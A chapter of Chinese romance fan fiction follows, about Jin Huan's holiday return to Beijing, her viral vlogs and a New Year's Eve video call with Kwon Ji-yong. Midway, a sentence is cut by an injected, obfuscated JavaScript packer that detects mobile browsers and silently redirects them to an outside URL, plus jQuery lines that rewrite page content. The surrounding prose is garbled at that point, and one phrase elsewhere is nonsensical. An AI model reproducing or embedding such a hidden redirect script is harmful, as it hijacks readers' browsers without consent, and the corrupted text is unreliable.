金欢回国那天，权至龙送的她。
车停下，他把行李箱从后备箱拎出来。金欢伸手去接，他没松手。
“就回去三个礼拜。”金欢说。
“三个礼拜很久。”他把拉杆交到她手里。
她拖着行李箱往安检口走，他在原地站着。走了几步，她回头。他抬起手挥了挥，嘴角弯着。金欢转回去，没有再看。但走到安检口的时候，她还是回头了，冲他摆了摆手，用口型说了三个字——回去吧。
金欢落地北京的时候是下午四点，飞机还在滑行，她就已经把手机打开，给林夕发了条消息：“到了。老地方，你来点菜。”
林夕：“已经在店里了。锅底都开了。”
金欢拖着行李箱直接从机场杀到南门涮肉。林夕坐在靠窗的位置，面前是一口沸腾的铜锅，旁边的架子上摆满了盘子，层层叠叠，像一座小山。
金欢把行李箱往旁边一推，坐下来，先喝了一口酸梅汤，然后拿起筷子，开吃。
“我在首尔就想念这一口。”
林夕笑着又给她下了一片。金欢吃得额头冒汗，筷子就没停过。吃到一半，金欢终于放慢了速度。她从随身的大包里掏出一个牛皮纸信封，递给林夕。“给你的。”
林夕接过来，打开——权至龙的签名。to签。写着“To 全世界最美丽的林夕”，旁边还有一个笑脸，一个星星，一个爱心。下面压着一沓东西：专辑、海报、小卡、周边，整整齐齐。
林夕盯着那行字看了很久，然后抬起头。“你让他写的？”
“他自己写的。”
“你告诉他林夕是谁了？”
“我说是我最好的朋友。追了他十年。”金欢夹了一片土豆，“他说那要写得好一点。然后写了‘全世界最美丽的’。”
林夕把签名抱在怀里，沉默了片刻，然后小心翼翼地把信封放进包里，拉好拉链，抬起头，看着金欢。
“你跟他，现在怎么样了？”
金欢的筷子顿了一下。她把羊肉放进嘴里，嚼了很久才咽下去。“就那样。”
“什么叫就那样？”
“他还在追。”她说，声音不大，“我还没答应。”
“为什么？”
金欢把筷子放下，靠在椅背上。“林夕，你知道吗，他大衣给我穿，自己只穿一件毛衣在风里站着。我说你冷，他说他乐意。初一以前除了我和我妈谁都不亲，现在他一来就往他腿上跳。”
林夕看着金欢。金欢低着头，手指在桌布上画着看不见的圈。
“欢欢，你已经喜欢上他了。不是好感，不是有一点喜欢。是很喜欢。你怕的不是他不够好，是你自己已经陷得太深了。”
锅底还在咕嘟咕嘟地响。金欢盯着那片沸腾的汤，很久很久没有说话。
“吃你的肉吧。凉了就不好吃了。”
林夕没有追问。她夹起肉，蘸了碟，放进嘴里，“那你打算什么时候答应他？”
金欢的耳朵尖红了。“再看看吧。”
“看什么？”
“看他能等多久。”
林夕看着她通红的耳朵，笑了，“金欢，你明明已经决定了，就是嘴硬。”
金欢没有承认，也没有否认。
三亚的冬天是另一副面孔。
金欢穿着一件红色连体泳衣，肩带细细的，露出锁骨和肩胛骨的线条。头发湿漉漉地披在肩上，是刚游完泳的样子。
金欢不喜欢拍照，但金妈妈喜欢。金妈妈拿着手机，指挥她站过去一点、转过来、笑一个，拍了不下二十张。金欢被摆弄得生无可恋。
金妈妈挑了三张最好看的，发到了家庭群里。金欢把其中一张发到了ins上，配文是“三亚的阳光比首尔大方多了”。照片里她站在沙滩上，背后是蓝得不像话的海，阳光落在她肩膀上，衬得整个人明艳动人、又纯又欲。
金欢躺在遮阳伞下翻评论，翻着翻着，私信栏多了一个红点。她点开。
5211018：“你穿泳衣很好看。”
金欢猛地坐起来，盯着那个ID——名字是一串数字，“你偷看我照片？”
“你发的每一张我都看。”
金欢：“哦，那你怎么不点赞。”
5211018秒回，是一张截图——她三亚照片的点赞页面，那个没有头像的小号，排在第一个。
金欢盯着那张截图，嘴角翘了起来。、，她没有再回，但也没有把手机放下。
金欢出了一期三亚旅行攻略。
视频里她一身精致打扮，带着观众从机场开始，怎么打车最划算，住哪个区域最方便，哪家清补凉最好吃，哪片沙滩人最少。她站在海鲜市场里跟摊主讨价还价，坐在路边摊吃抱罗粉吃得满头大汗，在酒店阳台上对着大海剪视频。
结尾的时候，她站在沙滩上，夕阳把她的轮廓镀成金色。“旅行不一定要去很远的地方，也不一定要花很多钱。重要的是你跟谁在一起，看到了什么样的日落。”
然后她笑了，眼睛弯成月牙形，“当然，一个人也很好。我这次就是一个人——哦不对，跟我妈。”
视频发出后，播放量一路飙升。弹幕和评论区热闹得像过年，有人记攻略，有人夸金欢状态好，有人注意到金妈妈出镜的片段说阿姨好可爱，还有人感慨“结尾那句话把我说哭了，一个人也很好”。
赶大集是金家的传统。
腊月二十八，金欢被金妈妈从被窝里拎出来。“都几点了！你姥爷等着呢！”金欢裹着羽绒服，头发随便扎了个马尾，被金妈妈塞进车里。姥爷坐在副驾驶，穿着那件穿了十几年的棉袄，精神矍铄。姥姥坐在后排，手里拎着一个布袋子，里面装着零钱和购物清单。
集市在老城区，一条街从这头摆到那头。红彤彤的对联、福字、灯笼挂了一整面墙。瓜子花生糖果堆成小山，摊主拿着铲子吆喝先尝后买。糖葫芦、炸年糕、烤红薯的香气混在一起，被风吹得满街都是。
姥爷走在最前面，姥姥在后面付钱，金欢扛着相机跟在最后。
她拍姥爷挑肉的背影，拍姥姥从布袋子里掏零钱的手，拍摊主剁排骨时溅起的冰碴。拍糖葫芦在阳光下亮晶晶的糖壳，拍炒栗子的锅里翻腾的黑砂，拍写春联的老先生握笔时手。
回家的路上，金欢坐在后座，翻看相机里的素材。集市上的每一样东西都是红的——红的对联，红的灯笼，红的糖葫芦，红的辣椒串。人们在红色的背景里讨价还价、挑挑拣拣、说说笑笑，哈出的白气混在一起，升腾成一片暖融融的烟火。
金欢把素材剪成了一支视频。没有脚本，没有解说，只有画面和现场音。集市上的吆喝声，炒栗子的沙沙声，剁排骨的咚咚声，姥姥和摊主讨价还价的对话。
结尾的画面是集市的全景，镜头从街这头摇到那头，红的对联，红的灯笼，红的糖葫芦，红的人间烟火。配文只有一行字：“这就是烟火气的中国。”
视频发出后，评论区无数评论，有人说拍出了纪录片的质感，有人说这才是真正的中国味道。然后，人民日报转发了，配文“集市里的烟火气，是中国人最朴素的乡愁。”
金欢的粉丝已经不知道该说什么了。人民日报转发，直接出圈，播放量破千万。金欢的账号涨粉速度像坐了火箭，品牌方的合作邀约塞满了私信箱。
金欢看着后台数据，骄傲地给权至龙发了条消息：“我被人民日报转了。下次要去新闻联播了吧。”家人逢人就炫耀金欢，直接把金欢搞地害羞了。
权至龙：“那个糖葫芦，我想吃。”
金欢点开他发来的截图——是她视频里的一段，山楂裹着亮晶晶的糖壳，在冬天的阳光下像一串串红玛瑙。
“你又吃不到。”
权至龙发了一个委屈的表情包。金欢看着那只耷拉着耳朵的小狗，笑了。她打了几个字：“等你下次来北京，我带你去吃。我们家那边有个大爷，糖葫芦做了四十年，特别好吃。”
权至龙发了一个原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484939|201952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地转圈圈表情包。
除夕夜。
金欢家的客厅被红色淹没了。窗花、对联、福字，沙发套都换成了红的。电视里放着春晚，声音开得不大，成了背景音。厨房里却热闹得像另一个世界。
年夜饭是姥爷掌的勺，十六道菜，从早上开始准备，到傍晚才全部上桌，铺满了整张圆桌。
金欢举着手机，站在椅子上拍全景。镜头从清蒸鲈鱼的葱丝摇到红烧肘子的酱色，从四喜丸子的饱满拍到花馍上捏出的牡丹花瓣。姥爷在旁边催：“拍好了没有？菜要凉了！”她连按几下快门，跳下来，把照片发到了ins上，配文：“年夜饭，姥爷做了整整一天。祝大家除夕快乐，年年有余。”
评论区瞬间热闹起来。
金希彻：“金欢，你家伙食也太好了吧！那个肘子能不能给我寄一个？”
CL：“想蹭饭。”
允儿发了一串眼冒爱心的表情包。
李朱赫：“回首尔给我做一顿。”
回完一圈，金欢又发了一条：“别羡慕了。往后几天要天天吃剩菜了。十六道菜，未来三天的早中晚饭已经全部安排好了——剩菜炒饭、剩菜热一热、剩菜再热一热。”
金希彻：“那你别吃了，都给我。”金欢回了一个白眼表情包。
年夜饭从六点吃到八点，吃完年夜饭，桌上的盘子撤下去，新的食材端上来。面粉、肉馅、白菜、葱姜，还有一小碗泡着八角和花椒的水。姥爷开始和面，金妈妈剁白菜，姥爷调馅，金爸爸擀皮。爷爷、奶奶和金欢负责包饺子。
这是守岁的饺子，要等到零点下锅。包好的饺子整整齐齐码在盖帘上，蒙上湿布，等着新年的钟声。一家人窝在沙发上看春晚。
零点的时候，金欢的手机震了。
权至龙发来视频通话。金欢走到阳台上。夜空中已经有烟花在远处炸开。
视频里，权至龙穿着灰色卫衣，坐在家里的沙发上，身后是一面白色的墙。
他对着镜头笑了一下，然后清了清嗓子。
“新年快乐。”
他用中文说的。声调不算标准，但每一个字都说得很认真。
“这是陪你过的第一个年。”他停了一下，耳根以肉眼可见的速度红了，“以后也会陪你过。”
客厅里的电视机传来主持人的声音。三、二、一——新年的钟声响了，远处的烟花同时炸开，金红银白，铺满了整片夜空。
权至龙发来一个红包，上面写着压岁钱。她点开，金额是521，说：“我不在你身边，只能这样给了。521——我不知道韩元换算成人民币是多少，但我想让你知道这个数字的意思。”
金欢的手指在屏幕上方悬了很久。夜风把她的碎发吹起来，远处的烟花映在她的侧脸上，红了又暗，暗了又红。
“收到了。”
“新年快乐，权至龙。”
“新年快乐，金欢。明年我也要第一个跟你说新年快乐。后年也是，大后年也是，往后也是。”
金欢看着屏幕上的权至龙，笑了，眼睛想要尿尿。
“知道了。你快去睡。首尔比北京快一个小时，你那边已经一点了。”
权至龙秒回：“好。你也早点睡。替我吃一个饺子。”
她回：“好。替你吃两个。”
权至龙发了一个小猫裹着被子睡觉的表情包。
金欢把手机放进口袋，回到厨房。姥爷正在把饺子下锅，白胖的饺子在沸水里翻滚。她走过去，从背后抱住姥爷的腰。
“怎么了欢欢？”
“没什么。就是想吃饺子了。”
姥爷笑着用漏勺捞起一个，吹了吹，递到她嘴边。“尝尝。白菜猪肉的。”
她拿起手机，拍了张咬了一口的饺子照片，发过去。
“替你吃了。好吃。”
权至龙秒回了一个大哭的表情包，然后说：“明年我要自己来吃。”
金欢看着窗外满天的烟花，“好。”